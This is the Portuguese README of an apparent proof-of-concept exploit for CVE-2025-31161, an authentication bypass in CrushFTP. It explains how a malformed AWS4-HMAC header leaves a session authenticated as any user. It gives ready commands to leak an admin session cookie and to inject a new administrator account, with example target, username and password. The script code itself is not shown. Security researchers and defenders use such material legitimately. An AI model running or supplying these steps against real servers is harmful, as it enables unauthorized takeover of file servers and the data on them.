
Uma prova de conceito para o CVE-2025-31161, usando cabeçalho HTTP adulterado para realizar a suplantação não autenticada de qualquer usuário no servidor Crush FTP.
Aviso: Esta ferramenta é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas para os quais você não tem permissão explícita para testar é ilegal.
Esta ferramenta é uma prova de conceito (PoC) para CVE-2025-31161, uma vulnerabilidade crítica de bypass de autenticação no CrushFTP (versões < 10.8.4 e < 11.3.1). A vulnerabilidade explora um erro de lógica no parsing do cabeçalho AWS4-HMAC, onde um cabeçalho adulterado aciona uma exceção IndexOutOfBounds. Essa exceção impede que o servidor limpe a sessão, deixando efetivamente o usuário autenticado como a conta solicitada sem senha.
Credential=user/) causa uma exceção Java não tratada, ignorando a limpeza da sessão.requestspip install requests
O script opera em dois modos: Verificação (Observação) e Exploração (Ação).
Verifica se o alvo é vulnerável tentando vazar um cookie de sessão para a conta de administrador padrão. Isso não modifica o sistema alvo.
python3 exploit.py check -u <target_ip> -p <port>
python3 exploit.py check -u 192.168.1.50 -p 8080Captura uma sessão para o usuário administrativo especificado e a usa para injetar uma nova conta administrativa no grupo MainUsers.
python3 exploit.py exploit -u <target_ip> -p <port> -a <admin_user> -nu <new_username> -np <new_password>
python3 exploit.py exploit -u 192.168.1.50 -p 8080 -a crushadmin -nu operator -np StrongPass123!| Opção | Nome | Descrição | Padrão |
|---|---|---|---|
-u | --url | Endereço IP ou nome de host do alvo | Obrigatório |
-p | --port | Porta do alvo | 8080 |
-a | --admin_user | Conta de administrador existente para personificar | crushadmin |
-nu | --new_user | Nome de usuário para a nova conta de administrador | Obrigatório |
-np | --new_password | Senha para a nova conta de administrador | Obrigatório |